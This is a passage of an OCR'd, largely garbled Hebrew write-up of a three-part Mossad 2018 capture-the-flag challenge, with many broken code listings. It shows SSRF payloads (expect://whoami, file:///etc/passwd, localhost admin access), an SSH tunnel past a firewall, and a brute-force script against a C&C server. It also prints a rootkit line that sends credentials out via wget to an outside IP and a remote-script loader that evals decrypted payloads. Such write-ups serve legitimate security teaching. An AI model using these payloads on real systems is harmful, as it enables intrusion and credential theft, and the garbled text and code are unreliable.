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from PIL import Image
import  sys

UNIQUE_COLOR= [ 175, 223, 214]

def (pixels ):
new_pixels =[]

for pixel in pixels :
if list (pixel ) == UNIQUE_COLOR
new_pixels . append (( 0, 0, 0))
else :
new_pixels . append (( 255, 255, 255))

return  new_pixels
(image ):
new = Image. new('RGB', image . size )

pixels = extract_unique (image . getdata ())
new. putdata ( pixels )

return new

0:

if len (sys.argv) < 2:
print . format (sys . argv [ 0])
return

in_image = Image . open(sys . argv [ 1])
out = sys.argv [ 2]

converted = convert_image (in_image )
converted . save (out )

if __name__ == "' main_'
main ()
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Challenge #1

Welcome back Agent CI

Your help is needed once again to solve an urgent matter.

Our digital forensics division is frying to track the source of a phishing attack on one of
our government officials.

We have found an email which seems to be related to this attempt and points to a news
blog.

We require your skills to track the source of this sophisticated attack.

The following leads to the news blog.

Good luckl,
M|
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Main Page Sports Fashion

On the news

It looks like the damage caused by last
week's severe storm continues to
cause problems. The main roads are
still blocked and the local sanitation
department is still working to clean the
pipes. This is the main road just
moments ago, 5 days after the storm!

WOW! this is amazing!!

| knew it would happen!. | warned them at the sanitation!!

Tech

Our 'tech’ analyst reports there is
evidence of - what seems to be - a new
cyber attack on News Blogs around the
WWW. The attack is reported to be led
by a hacker called 'Anonymous’, and
targets mainly LINUX systems that are
vulnerable to the new 'pass-through’
exploit reported earlier this year. Our
analyst examined our servers (DRK™
news main server is also a LINUX
server) and assured us we are not
vulnerable to attacks...

:D'2'VN NIFNY 0'710'Y DITINY 1901 1IXYN TNX] D'VIV'Y YN NX

7¢ ROMAN NAUMDY D) TV N'MNNA 722'70 7 0'¥N17 CWWRD Rymw Administrationn Tmy |
(hnxn

Registern TnI'na ,01myn o'xw Registernt Loginn mny

n1Myn 'Y auth_stealer.jspaw voMpot? nwna v g
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178w nX11) Burpn niwpan Tiy'na authstealer_exploit.j& nwan N Xnam? N7 WWON

Tz DX 0"V M 7w [P0 namd nX A2'wn'? 12'2v1 72T It 01 IR 7w nopnnn "nimsy”

28
27
26
25
24
23
22
21
20
16

http://35.2056.32.11
http://35.205.32.11
http://35.206.32.11
http://35.205.32 11
http://35.206.32.11
http://35.2056.32.11
http://35.206.32.11
http://35.206.32.11
http://35.205.32.11
http://35.206.32.11

GET
GET
GET
GET
GET
GET
GET
GET
GET
GET

/static/shoe. jpg
/static/athlete.png
/static/flood. jpg
/static/user_png
/static/drk_logo1.png
/static/hacker_|pg
fauthstealer_exploit.js
/static/style.css
[static/jquery.js

/main

(Nt

2'91M9N NAINN NX PTIAY TNI'M2 |"IYN NTY Y'Y NX1] DIYN Tinya

Please enter your registration information below:

First name
Last name
User name
Password

Profile pic URL

SUBMIT!
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<script type =
function getProfilePic 0
{
var url_regex = /~(https?: \/\V (www )\ )?)?[a -z0-9]+( \-\.{1}a -
z0- 9]+)* \.[a - z}{2,5}(:[09]{1,5)( \ /[N N
A+ Vpng)( VN 2(C N +) N =(+)*)?$/gm
url = $( )[ 0]. value ;
if  (url = )

if (! url_regex .test (url ))

{
alert ( + url );
return ;

}
$. getJISON ( , { u: btoa (url ) }, showProfilePng

}
}

function showProfilePng (json )

{
if  (json && in json )

{
$( ) 0]. src = + json .png;

(json && in json && json .err = && json .err =
&& json .err = )

alert (json .err);

}
}

</ script >

war kN (Client Sidex nyxann 0710 X'nw) Regexn 7w njp'Tan DX 11121 NTNA D NIKY7 N1
7V ,unnwnd ,|pn TNXY7 .0"10N jSON 1'TNNZI N7'aWa NIMNN DX JIYn? NIn 7Y TAY NaImdY

Jsona atnw PNGaTwini /profilePicg :2'm17 nwa? 1y ,nimn'? nwa? nin

IX 1172V 021 jS-0 NITYA K71 NIOT APTan DR DN7Y) Y| 75 DIYAY7 QWOX DX NIKYT 11'¥)
NNAYN DX 07270 nnarY 'k (Client Sideni'man

not a valid png url

err: "Url is not a .png file!"
png:
session: "Cookie saved: False"

o OO Inspector Console [ Debugger  {} StyleEditor (@ Performa

W % Filter output
» location = "testProfilePng?u=" + btoa("http://www.hacker.com")
& "testProfilePng?u=aHRBcDovL3d3dySoYWNrIXIuY29t™
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JTNAn qioa ".pngd-n Naan 7y 12annt 'y ,1mixnd ARwn? nRyY nwpa? nna? nin %y
N2 PR AIYPENIY T 0 XX PNGyaljpa "ame pTia nnka X7 Dwn D antn ny nninn

N NP 'y Pathin 7y X711 iwpn %y wata ar nnrro

are: war

phg: war

SESS10M: “"Cookie saved: False"

@ {7 Inspector Console [ Debugger  {} StyleEditor (5 Performance o |
T F Filter output

¥» location = “"testProfilePng?u=" + btoa("http://www.hacker.com#.png")
& "testProfilePng?u=aHR@cDovl3d3dySoYWNrZXIuY29t Iy Subme="

U NWINNN NN J  Ionw niviza 17'R niwy? na nydi PNGH 9w nz'Tan N mnay ™ g

S'SSREX nn Y

T 7wn?) myy TiNy? 7ann DX P71 ,0772Wa nwpan DR KRNI Mwny XIin SSRA [Ivan
Tiny7? W' wi7a oxkw nnin Jocalhostn yvan nwpanw nipma iyt oot nnax (127.0.0.1

[w'n 401 nx 72y TV IR AT DR NIWY? 1’01 localhostiawana D nimo 't Administration

QIR
Uri JnIX T2 X7 Mwn *Ikwl Schemen 7y DA D'071w DNIRY NINY7 D N79 Xan |1'0'n

9TOTN T DN'™7X NY'AL 0'M"I0N D'ANYA NNTAN7 0119719 T T 0ON Schemes

Y'mon X7n nwa D1 wnnwunt 117 MYONN IT NNd0 .expect X1 'u719'T X7 Schemew:

INRXINN NIX 17271 NP7 1'01 .Ssystema NiN'y' 02T yNin' nioavi ,"expect

err: "Invalid scheme: expect"
png: o
session: "Cookie saved: False™

e L7 Inspector Console [ Debugger {1} StyleEditer (& Perform

W 7 Filter output

#» location = "testProfilePng?u=" + btoal"expect://whoami#.png")
© "testProfilePng?u=ZxXhwZWN@0i8vdZhvYWlpIySwbmc="

.Schemen 7y D'07IY NNIRY NIWX 11727 X ,eXpect|'X DINIX
i |

‘N X0MA - 2018 Tomn 7w o1an 1AnX |NNO
www.DigitalWhisper.co.il

19 2018 194 T x4 LY


https://www.owasp.org/index.php/Server_Side_Request_Forgery
https://en.wikipedia.org/wiki/Uniform_Resource_Identifier
https://en.wikipedia.org/wiki/Uniform_Resource_Identifier
https://en.wikipedia.org/wiki/Uniform_Resource_Identifier

Technologic
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err: "Gccess Denied.”
png: o
session: "Cookie saved: False"

@ L7 Inspector Console [ Debugger {} StyleEditor (@ Performancy

W % Filter output
#» location = "testProfilePngiu=" + btoa("file:///etc/passwd#.png")
& "testProfilePng?u=ZmlsZTovLly31ldGMvcGFzc3dkIySwhme=""

X passwd7y Access Denied7a'p ninix 170 Tn 7y 027 nwa? onoxn IRW AR 1nan
N'2N7 N'NNKAN 27N, NINT YNAT IN7¥NW NINKR .PO'TNN D'Y¥AR XNP7 nwa 117 Y'Y AR NINSY
7w D'yapn o7 'MWA L9 TV (11N .AYIY KIN NN NIRYZENI017 T Mwn YW TIpn DX
N1 Ty PR Nt variwww/login.phg' iyaizn Nk xan? 11'on "/var/www"-2 n'awrr web-n nw

XD 121N X NIXYY

"admin™);

session7ap' nwpan Xt ,admin Nt user_namenvnionl 127.0.0.3n wan DXY NIKYT7 TWON

ANKY? NN97 1xw nr 0a XN ,ADMIN7w SIBY nX 72mw A1 KID NWRan XY 100 MR Y

.administration? |pn
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.administrationrn Tiny7? o7 10X'W N1 02 XIN P71 SIDN DX 72p'w DT XD Dwn L n%w npna

...profilePics)T - TIXn vIWS ?naIwnn NX 7271 'R

NINTTNY? "YWL DNa7 nan 7y SSRFA 71X

err: raear
png:
session: "Cookie saved: True"
@ LI Inspector Conscle [ Debugger {} StyleEditor (& Pedformance  k Memory = Metw

T S Filter output
»» location = "testProfilePng?u=" + btoa("http://127.8.8.1/login.php?user_name=admin#.png")
& "testProfilePng?u=aHR@cDovizEyNydwl JAuMS3sb2dpbiSwaHA  dXN1c]19uYWl1PWF kbWluIySwbme="

21NN TyY nw'a

err: n2ean
png: "administration”
session: "Cookie saved: Trus"

e L1 Inspector Console [ Debugger  {} StyleEditer (& Performance  # Memon

W 7 Filter output
¥ location = "testProfilePng?u=" + btoa("http://127.8.8.1/administration#.png")
& "testProfilePng?u=aHR@cDovLzEyNydwl JAUMSOhZGlpbmlzdHI hdGlvbiMucGEn™

0790 N1l
uertame | g Tmohdiod | Conman ot

athlete 212789 a%ggflg That was funny ;)

theR@InM@n 199.53.1.29 Al WOW!I this is amazingll

04/08/14

1whoknows 198.4 76.3 ;I)gggf%]i IS::ﬁgdi(t”:ﬂ:!ouId happenl. | warmned them at the
CalvinK 213.17.82.1 ggfggf?; It's so last year

onmous 1z 13114 ST vl s o stplse s 2032
DEP-ricate 112.15.82 16 g;ﬁg;g 48614861486121
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Success!

Well Donel

You have successfully finished your 1st mission.

This is your success token:

bUtgSUZKbDVOQWZCTkInTkin Yk9tdVVWYWpOclJobVdkSUNTMmAwSDBCJONGTOR
ydi9oNONvODdXZFdIZ0d2RGYidjhIVkSriWDREWngyRGRDM1FRTFESPQ—

You may now send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

Challenge #2

Well done Agentl

Thanks to your efforts, our team has managed to locate and detain one of the hackers
responsible.

She was not cooperative, but we were able to extract a snippet of an application from
her phone. We suspect it is used for gathering intelligence from their victims.

Your next mission is to locate the files the team stole following their successtul phishing
attack.

We executed the parts we extracted in a sandbox and managed to capture its initial
communication with a c&c server. The following contains the captured data.

Needless to say, the information that was stolen is very valuable to us, so please do your
best to retneve it before it leaks.

Good luckl,
M.
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Inwn nnn 0'7apn 555501191 "35.204.90.89 :ntn IR0 7% Dannnw TCP Sessiordsnivy!

NXT] Q1027 .0'N 128%w 1Inw7) Hexnwn X o1rnn pn N7 Hexa niin 32 1md nxny

:D'2"1yn DNAT NNd NIXY? 7511 oW1 Wiresharka yaign nx nno

JINWNY AT WK 073N D

1

4bad54feaada3fbbd7aacl3b748fc@4l
9232d6bcee8ata37ba2sefd79c@5c3b2dcdBcbfeaoade74e73a9790f23cbff33af492ad8a79b562132129472d96T48201eTe88947113e2T@bce3c519d980dIes
5.2508.159.25 Temporarily Authorized.

nYI Userwnnynn oy DNannn 1 2121 v1i9a "35.204.90.89 nwin in FTPYw Sessiony!

:12345:xn0'0n

228 pyftpdlib 1.5.3 ready.
USER user
331 Username ok, send password.
PASS 12345
238 Login successful.
SYST
215 UNIX Type: L8
FEAT
211-Features supported:

EPRT

EPSV

MDTM

MFMT

MLST type*;perm*;size*;modify*;unique®;unix.mode;unix.uid;unix.gid;
REST STREAM

SIZE

TVFS

UTF8

211 End FEAT.
OPTS MLST type;perm;size;modify;unique;unix.mode;
288 MLST OPTS type;perm;size;modify;uniquesunix.mode;
OPTS UTFE& ON

581 Invalid argument.

PWD

257 /" is the current directory.
TYPE A

288 Type set to: ASCII.

PASW

227 Entering passive mode (35,204,90,89,254,167).
MLSD

125 Data connection already open. Transfer starting.
226 Transfer complete.

QUIT

221 Goodbye.

JIUXIN D D-Sessiony Ty Diw!

1

T

'1mr7 YN D"?JPYJ nNIX Nwa 555501190 72m NATmn N'X7'UININN DX D'VYXAN TYUKROY 1DNIN

PNl NIX "ann FTRA 7w 7aonw kNl DN NRT NIWYY 11'01 WD D L FTR? ninannn?

JN'Y NI

hexnw nan nawnn NXp NN AT VIIBY? D'N7YIY DNATH N7 0'710' NN Awn? n7NNN
I

NXIN MTh o'n7ivw amvonl 100,0007 10,000 2 hoon 7w MD5 xin mwinn Y9 N

(17w TintA IR 9722 SHAS512 7arm D nint? nt) TR TIvE 190nn INIK 7w SHA12

23
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JARTI NID 12N I

MD5-2 mimwon n7apg |

190nN NX XIXN? ' MD5-n nmhavw
11o0n7? qoin? g

1

nYY nath Nitwh SHAL12 1My niwyy

XAN VO9"PON NKX 11AND D 7ava

import  socket
import  hashlib

def 0:
s = socket . socket ()
s. connect (( '35.204.90.89 , 5555))
a = s.recv (1024). strip ()
for 1 in xrange (10000, 100000 )):
if hashlib . md5str (i)). hexdigest () ==

s. send (hashlib . sha512 (str (i + 1)). héxdigest O + "\r\n)
print  ‘found'
break

print  s.recv (1024)

if __name__ == "' main_'
main ()

2V D'¥a70 MDY N'RN D .07 770 NI I TN 172101 FTRN nwh nwa narye oxva o

FTRA mwv
backup 18/02/2018 170737 el
bin 18/02/2018 17:07:37 el
data 18/02/2018 17:07:37 el
docs 18/02/2018 17:07:37 el
sys 18/02/2018 170737 el
temp 18/02/2018 17:07:37 el
tmp 18/02/2018 17:07:37 el
USErs 18/02/2018 17:07:37 el
var 18/02/2018 17:07:37 el

:0'N2N DTN DX IRYAL TIAYY NI AN T D7RPI7 0'¥apn 7D DR TN
D'29¥IN X D2"IyNn NIFXIADIIR XA [InN [Mn n?'n backupntpn |
NX 700 WX hint yaipn nx ,passphrasey [9xin RSAnnon n7'on "/users/backup n'p'nin

Jnnoxim floppyfw X7 inwn 9w nirvaiaoap oy 2w Latestnx)jzaw n'p'ni passphrasen

']:)'7 IINIXR YNW' NNONAY O'NIV NN D ,NNONN NMTV] D'XAP7N NX nayoY? AT MmN YN 11'01
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.N910NN 7V 11ONNOoN VIYS 7771 NTh MWD NN NPT X7 Dyo QRY 112N OYIN NYaAany MNX

:0'KaN 0'0Y19N DX 1'72a1 NMAPNA T2 17w 0'o119 1o

Starting Nmap 7.12 ( https://nmap.org ) at 2018-04-21 15:04 Jerusalem Daylight Time
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns
Nmap scan report for 35.204.90.89
Host is up (0.082s latency).
536 closed ports
PORT STATE SERVICE
22/tcp open ssh
2121/tcp open ccproxy-ftp
5555/tcp open freeciv

Nmap done: 1 IP address (1 host up) scanned in 230.99 seconds

NAN output-n NN 11727 N 'R 12NNNY7 1'07 L, 1I'7Y 1Mawn X7¢ NINS SSHoNIS w'w X L *avn
DMANNN DX ,NN9AN NIX AR¥N QPN 19¥RY 1N "backupd wnnwnn oy mannnw |'x7 w)

:(NTh output-n NX D72 X7 DINX D'YNNYN DY

SHELD ndo1 bin nz'n%? falsenwa ik ni7yn? n'xn Nt niwy'? 1XYW nwnw nn Nt A7va
floppyfw.enen NX NIN9Y7 |I'011 D'YNNWAN XY DY NPN'YI AT NN DT 72V DAY .0Np' K7 N7
DY W'Y 12'7'2 DIXNOI ,NDD NI7Yn? 721k sftp oy "1annn? Ni017 mawn M1 n21n NNX .AN7XN X77

:DN'7R D'WA] NNIRY o'xap Ty

O[] & &\
Name Size (KB} Last modified Owner Group Access Size (Bytes)
.zsh 2018-03-11 1218 0 o drwxr-xr-x 4095
E conf_enc.pyc 1 2018-02-04 15:45 0 0 e [e [ 1802
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import  base64

from Crypto . Cipher import AES

from Crypto Iimport Random

import  sys

import oS

key = 'd3adb33f13371337

BS = 16

pad = lambda s: s + (BS - len (s) % BS) * chr (BS - len (s) % BS
unpad = lambda s: s[. -ord (s[len (s) - 1:])]

class

(self , key):
self . key = key

(self , raw):
raw = pad(raw)
iv. = Random new(). read ( AES block size )
cipher = AES new(self . key, AES MODE_CBC iv )
return  base64 . b64encode (iv + cipher . encrypt (raw))

0:

if len (sys.argv) = 2:
exit (1)

in_file = sys. argv [ 1]

if os.path .isfile (in_file ):
out_file = in_file + '.enc'
fin = file (in_file , 'rb" ). read ()
fout = file (out file , ‘wb' )
cypher = AESCipher (key)
enc_data = cypher . encrypt (fin )
fout . write (enc_data )
fout . close ()

if __name__ == "' main_'
main ()

:D9XINN D'¥APN DX 1NWSI decryptnwiyw 77nn DX TIR'Y7 119010

(self , enc):
enc = base64 . h64decode (enc)
iv. = enc[. AES block_size ]
cipher = AES new(self . key, AES MODE_CBC iv )
return  unpad ( cipher . decrypt (enc[ AES block_size :])). decode ('utf -

(cisco.comi floppyfw.conf nkxnw encn 'va MY NX NINS7 IN7¥N NT NITY
DN DN DY DP7NN
username fwadmin password 7 107D1(C09560521580F16693F14082026351C1512

ccess-list 1 deny tcp any any

ss-1list 2 permit tcp any host 10.164.0.3 eq 22
ss-1list 2 deny tcp any any
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27w DY N1annl , NINTIR DYA DNANKD DY D7 NN'WDN NNNYE,0mmMae o-IPa tarme 'k

'WYY NN LPY7 iwuxrdn anknm WEBN v DNivp DN 1awN ,0' TN D27wUnn 79N XN

:NINQN MWD NNTYA 090 0-IRN 27X DTN 27w nxkynw SSRA 0T nwa nn

location = +btoa (

)

XN QTN X INIR 7N nn

Index of /

Name Last modified Size Description

ﬁ] stolen files/ 2018-02-19 07:25 -

N2 YN DR 1721 stolen_files? nwan jpn anxY?

Name

Index of /stolen_files

Last modified Size Description

a Parent Directory

@ mossad 2018_challenge solution.doc 2018-02-19 09:03 662

72231 Yalzn NX W) niolol

Success!

Well Donel

You have successfully finished your 2nd missio
This is your success token:

n.

cIRGZFJ4VUpac1dCWVIMbVRXMG5pbzIVVFRGUO9WbUZsNzcvV1F0eGIVT3pMWIMz
b3Exd2ivUzZhNWdmNmIZVHhuQkUvOEXObBENCeTZ2RXdIRmMtRLOEIPQ==

You may now send your token and contact info

to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

1227w nx 1o
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,0'-sessiomi'ya nk1IN 732) "nothing herd nxaw n72'7 naN 7ax ,1n7¥n prY Nk ,NT 2702

.(MMTIP D1wa n7Xd DMAT 'K 12D

DNl ,0%7UN DR 1NNS 'R 7V 120N DY DI'ON 7'M 0NN IR 12119 NANKRD DK 1NY0 UKD
ANXNY 12'2N 0N ;0N NRXIND .AWUN 27WY7 [IWRIN 2700 2 YW DIN7 mx X7 pRY 17 NUR
NYN 277 2IY 1WA MANRD DR IN97 1010 TWRD LNIFTA INKT7 INIX NAOI NANKA '0M7 AN

D297 XIN N1l ,('unxn "X RIDNN 7R nn) qQon |NN'S ANKX YIdS'N2a

22 01192 10.164.0.37 w1 NX11D N7W NMWNY D20 17 W'Y QXIIA0IEN '¥ap 72V 1ayn NN
['ixnw 93 33891 8080 0'viva 10.128.0.37 wrax nx1d firewalkn Wfirewall nina wnwn xinwi

N IWN DI nm "Manxn nwn" ,[191 NIXAIA'ON PN NX 12N DRYI,N'XAIA'9]1 722

&=

10.128.0.3 10.164.0.3 35.204.90.89

:NTIR9N natva FIREWABRwAT? 15 2i¥'nin nwin 72y Tunnelin?yon
@5. 204. 90. 89 9000: 10.164.0.3:22 -N

:SSHh 7w p'flag-n 7y "a0n nyyp

1MNOW '93 .SSKh "annn nnX YwXd shelkn Nk ynn 78,17 ,"no tty" oxva kin -Nannn -
"/bin/false’ yaizn 7w n¥nn NX Qipy? nn N XY 9921 k0 shellinyan X7w naron 0T

Jocal_port:dest_ip:dest_ponhmuonouion imnxi local port forward?w ann xin -Lannn |
.NanN "uyny M7 SSHY mana XNp? N

:Firewalt? no'wni nniaxw niX17 ©woX nnxal
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1w Tunnetn NX 7'wonY? 12 NNo'oNl WNNWNN NN 1an? IXw)

MY DN

username fwadmin passwordI07D1C09560521580F16693F14082026351¢2

.NN0'0N NN N2 X7 X fwadmin Xin wnnwnnw NIxY? "WoN

&' 712070 112102 NAITAW 1anonl L"password7" vival 170'0 W NIXNO'O 7V 721 nwon

IXD IMIX NIYO7 'R 7V 120N NI¥XNT? TWON ,W7NI

Type ¥ Password: |[107D1C09560521580F 16693F 14082026351C1512

Crack Password
Plain text: |Sup3r33cr#tP @ssword

DTIPNNA D'V DNIX DX N72uNn 1R 12NN 1'01 L I'7R Nwa? Cwonl firewalk? xno'on nx 117 v T

LOWOKR N K7 1A (X Daw nnan Py [ "false-n oy

|27 .01 DIYWY NNIR n7'2m X7 17 2715w '’ oyon X SFTR nth nw? Da 1annnY 11'on

(...07YN7 M72IXY NIYIIADIAIENN 12'7'2 IS NX) ,ARAN NTIZON NITY 90N 7aRV NN
@27.0.0.1 8080 9001: 10. 128. 0. 3: 8080

NN VY IDNN DAY NIXIN 0T N'SIoN NXYINYT 17YAN DYON

Index of /stolen_files

Name Last modified Size Description

a Parent Directory -
@ mossad 2018 challenge solution doc 2018-02-19 09:03 662
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Challenge #3

Very good Agentl

Following your success in finding the hacking teams' internal storage system, our
intelligence ofificers have discovered what we believe to be a new and sophisticated
rootkit framework they have been developing.

We also managed to get a copy of a prototype utility that helps reveal their rootkit on
infected systems. You can get if from the following

We require your skills in invesgating it and reporting how the rootkit operates.

Thanks again for your effort, and Good Luckl,
M.

TNX NI KN busybox,non X7w m7 .0'01o T N 2 busyboxyI7aw yaip 0f7apn 11NIX

.("dD1 wget ,cat,Is) oj711''722 D12 DMIXIT 7Y 21 190N 1DINA TARNN

N'VITIVO K7 NYTIN D721 INIX XN

]Amd XN nxINY XN 12T Cleft you a hint at /tmg xin raynin 77nn

Is tmp

AT T A N7 090

s: fuos: No such file or directo

Y7 11'01 ?u0s7 19N tmp Nn?

Is aaaaaaaaaaaaaaa

Hhyaly]l
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NN INS97 ' 1Y OPTI'RN WY qolnn In 757 N2 ,nnn Ta Mwn VMIARN .7 NN N2 NYd

RN IR DIDNNY NN XY 2'NAY CT 17W O TI'RN NIX N 701 Yon? oM ,nT

:N2N V9MIPON NN 11AND P NIXY

import  string
import  sys

def 0:
line = sys.argv [ 1]
converted = ]

for index , char in enumerate (line ):
if char in string .lowercase
converted . append (string . lowercase [ord (char) - ord (a ) -
index 1)
else :
converted . append ( char )

print " .join (converted )

if __name__ == "' main_ '
main ()

U' DX NIX71 RN 7y stringsniwy'? n07nn ."avn yalg Div DY ' K7 7ax Is /tmp n'wy
NN K7W DY¥ap 9rom busyboxnw 1nnan [Xon ,NTRIM Nion'nn 7apnw /tmp 17 "yn nwn

)2 TIAY? 7901 AR KNI ROTN 7Y 117 oMty

admin --default-pass

:readmen yalg NXR XNj77 NNVN2A RN DTN DX XN ,NIYYY7 1'7V ' NN D20 INKY

./busybox cat /skm/.Ixsuct

NN NYTINN DX I]'71'|7 NINT 12X TWUND
Suspicious network activity detected...

USER

1 root
2 ofeks10
31 ofeksl10@
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DY M) XY INwn Dy Yam WK "Tr0]' X1jiw 'RINI RINY AT'R XD W'Y XKD ,TINA [1ayn
mn ,ntn (deleted)-n Nt nn 7y ¥ wI9'n Nnx L (deleted) 1w pwn T y'9mi Xno'ol wnnwn

X/proc’ 7w mana nxpw NN

/proc/[pid]/exe
Under Linux 2.2 and later, this file is a2 symbolic link con-
taining the actual pathname of the executed command. This
symbolic link can be dereferenced normally; attempting to open
it will open the executable. You can even type
JSproc/[pid]/exe to run another copy of the same executable
that is being run by process [pid]. If the pathname has been
unlinked, the symbolic link will contain the string
'(deleted)' appended to the original pathname. In a multi-
threaded process, the contents of this symbolic link are not
available if the main thread has already terminated (typically
by calling pthread exit(3)).

Permission to dereference or read (readlink(2)) this symbolic
link is governed by a ptrace access mode
PTRACE_MODE_READ_FSCREDS check; see ptrace(2).

27 ,1N2'TAN INIXR X7 7211 2 XD 7R tMp N'7'Na '"IN'AN DX XXND X7 NX1DWY 12N [XON
| I

XN NTIRON DX 1IXN

./busybox cat /oply/1337/tlr > TrOj.elf

17w mairkn NUXI0] IXRXNY NN NTI NYIY RINn NN N7 ' IDA2Q MIN1'AN DX 1INND

memset{&user, B, @x188ull);
memset{&password, A, Bz188ulL};
default password = "UuwilLH3Iv3rG3ItH3*;
memset{&s, O, O=z480ulL);

option = getopt_long({argc, {(char =const =)argu, "ud”, &long_options_2838, &longind};
if { option == -1 }
break;
switch { option }
{
case ‘p':
if { _bss_start }
strncpy{&password, bss start, Bx188ull};
break;
case ‘'u’:
if { _bss_start }
strncpy{&user, _bss_start, Bz1808ull};
break;
case ‘'d':
strncpy{&password, default password, Bx188ull};
break;
default:
return 1;

sprintf{&s, "wget -0 /Jtmp/.store "http://%s/iso?user=%skpass=%s'", "35.285.32.11", &user, &password);
system{&s);

X'N XD A Y NR07I9TR KNO'ONI WNNwNN DY AT U-Y an%? N NI7pa TINN

.Uw1ILN3v3rG3t\
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INQN 2270 NIN 17 XYY 2290 DY
http://35.205.32.11/iso?user=admin&pass=Uw1ILN3v3rG3tM3

:D'N2N DNATA DX 701 WwR ISOyalp nawnn'? Tim nTn 72'77 0'0101 TWUXD

1JPG 2JPG 4.;I‘;|G 5JPG 6.JPG 7JPG THUMBS.DB VAULT

sqlite3 Databasea sqlite3 yalz> 2nann 0102 17y nxz nivononnw Vault yaizn nn'mo 1nKY?

:0119¥IN D'V9"RPO NWITWI index.htmlyalz ,0'¥a 4 7'on XKINW NIXYY [N viewer

Table: | =] Files - @ &
id name data enc_type key iv_size
|Filter Filter [Fiter [Fiter [Filter [Filter
1 IZI aes.js Usm/va3ngs/r... Blowfish-CBC  External 8
) 1 ........................................... - s o e .
32 key.js MNB6Kat8Z9310... Blowfish-CBC External 8
4 3 script.js n04ScjFpOgy... Blowfish-CBC External 8

NP'NA 117 NNoNY N'WYUN NIMNN N9'R NIKTYZ NI017 ' 122 thumbs.db viewemnTin 7'apa

B4 Thumbs Viewer — m} = D 256_4934f39705858f86 - — O *®

File Edit Tools Help

# Filename Entry Size Sector Index  Date Madified (UTC)
256_alfd34edb315ebeh 18 KB 4in SAT
256_663ad5764aBabida 15KB 47 in SAT

I o T T I

4 256_dff0Ba2c5d91dd20 25KB 99 in SAT

5 256_3addcT3040fTe953 13 KB 131 in SAT

) 256_5e9e7045d262e675 10 KB 179 in SAT

T 236_afa%el3alch7eeld 10 KB 200 in SAT

< >

Fisraelr0* :xin Blowfishn 7w nnonn nx110DW nan [xon
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:N2N VOON MV DY YW NIY'9] N7NNN

from base64 import b64decode
from Crypto . Cipher import Blowfish
import  sys

with  open(sys.argv [1l], ' ) as encrypted_ file
data = b64decode (encrypted file . read ())

cipher = Blowfish . new( *israel70* , Blowfish . MODE_CBC
data [: Blowfish . block size ])

open(sys.argv [1] + 'dec' ,

‘wh' ). write (cipher . decrypt (data [ Blowfish . block size :]))

index.htmin yariz nx nnno 'oTpnn "2 0'wITIN D'Y¥aApn 770 IR 117 W'Y R0 WD TR ,N7IVN

NN N'Yaa I]'7|7T\]I oMnd2a

[ ﬂ Elements Console Sources  Metwork  Per]
M ® | top ¥ | | Filter

@ »GET hitp://127.8.8.1:1337/key.Js @ ()
> |

INXAN NTIRON oy N2 viws HT TP nxan

python-m SimpleHTTPServer 1337

:Nan Promptn Nx 1720 1wyl

127.0.0.1:1337 says

Enter the key please;

.. ANX2 DTPNNYT D2 jS-N DK NIWOY7 117V 1'WDYYW RN
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[7 evalnT yn 12 yamn Tign 72 12T 7w 1910aw 1'R0 L Script.js’1jaw uonjzon 7y 1170non

RXINN NN ,NNIR NN NIRYYIE console.loen evalnx q'7nn? i n'wyw nn

- - . - B - . : .
[ Gj Elements Conscle Sources Network Performance Memory Application  Security  Audits| : X

I ® | top ¥ | |Filter Default levels ¥ & %2

lop

337 /key.is")

gad"”, run);function

callback()}}}:;xhttp.open("GET",src,true) ;xhttp.send() }loadScript(“http:
. 3c

;loadScript("http://35.285.32.11/ch3/5id") ;loadScrip 35.

‘undefined’){ decrypted=CryptolS.AES.decrypt

run(){if(typeof(key)!="undefined’ }{if(typeof(payload)!
(payload,key) ;eval (decrypted.toString(CryptolS.enc.Utf8))}}}

INXI'Y nn N1 7701 beautify nyp mnx

function loadScript  (src , callback ) {
var xhttp = new XMLHttpRequest ();
xhttp . onreadystatechange = function 0 {
if (this .readyState == 4 && this .status == 200) ({
eval (this . responseText );
if (typeof (callback ) !=
callback ()
}

5
xhttp , Src, true );
xhttp

}

loadScript  (
loadScript  (
loadScript  (

function run () {
if (typeof (key) I= ) {
if (typeof (payload ) != ) {
var decrypted = CryptoJS . AES decrypt (payload , key);
eval (decrypted .toString (CryptoJS . enc. Utf8 ))

NINAN NNIYA 3-7 0T DX 11027 1INIX

var key =

var decrypted = CryptoJS . AES aecrypt (payload , key);

console . log (decrypted .toString (CryptoJS . enc. Utf8 ));

DON I0NAl) ATYN INIK PPNV LTI 7w 530KB109TIN 177 ,INIK Y9N N¥P 1'WIY NIpw NN

javascript?onj'? 10T 1Itw JSfucknatya Njz'wa) ObfuscatedTixn n'n Tipn (807 17w njpaTn

.(...T2A72 0'un 6 N1V

77221 nodejsNTya yalpn DX XN (1007Y) VLI DNKY NNIK NWD7 NIIFO NXP INKY
QY NNIYN DY TN' error 0'STn VIYSI INIX 17 Ny's Node,ndINKR TIKN NNX NIV 101 1710Y

.00 NI
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RXINN NN

“TIpPN RN NDd beautify nyp nx 1w

var current = [I;

function dispatch (r, t) {
return r(t)
}

function scrmbl_sid  (r) {

var t = ;

for (i =0; i <r.length ; i++) t += String .fromCharCode (170 ~
r. charCodeAt (i));

return  dispatch (current [4], t)

current [0] = window . console .log , current [1] = eval , current [2] = window . prompt ,
current [3] = alert , current [4] = btoa, window . console .log = function (r) {
dispatch (current [ 0], )
}, eval = function (r) {
dispatch (current [ 0], )
}, prompt = function () {}, alert = function (r) {
dispatch (current [ 3], )
}, password = dispatch (current [ 2], ,
=== dispatch (current [4], password ) ?
window . location + scrmbl_sid (sid )
dispatch ( current ;

1N7W kno'on NX N72'71 7"1n b64-n NX 11Ny

MN72'PY NN ATEINRY DNIR 10100

Success!

Well Donel

You have successfully finished all the challenges!

This is your final success token:
Mk50dWgzR1pIZ114Q2000G52TjI3MEVBZmVWYVDIyVS9zZIFUVmInNIJIRUJqTWdnND
IxcHptSXB4WGpEc1RUbWxIclJoTOQxVFVINzJWOThkTKFEMWcI9PQ==

please send your token and contact info to the following

A pleasure as always! Until next time___
M.

J Ut NIYY7 D2 ANXN DX IN"OW AR
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Web ApplicationReverse Engineeringn'n |'a ,0'20 DMINN2 YT WATE TINA [I2N0 1N JANKD
TAY MANKNY DX INNTE [N 7PN NI'9Y90 NI7pn Ta7n .TIvi 0'09"Po0 namd ,Security

.D'wUnnwnn 2N7 np'7n nixa

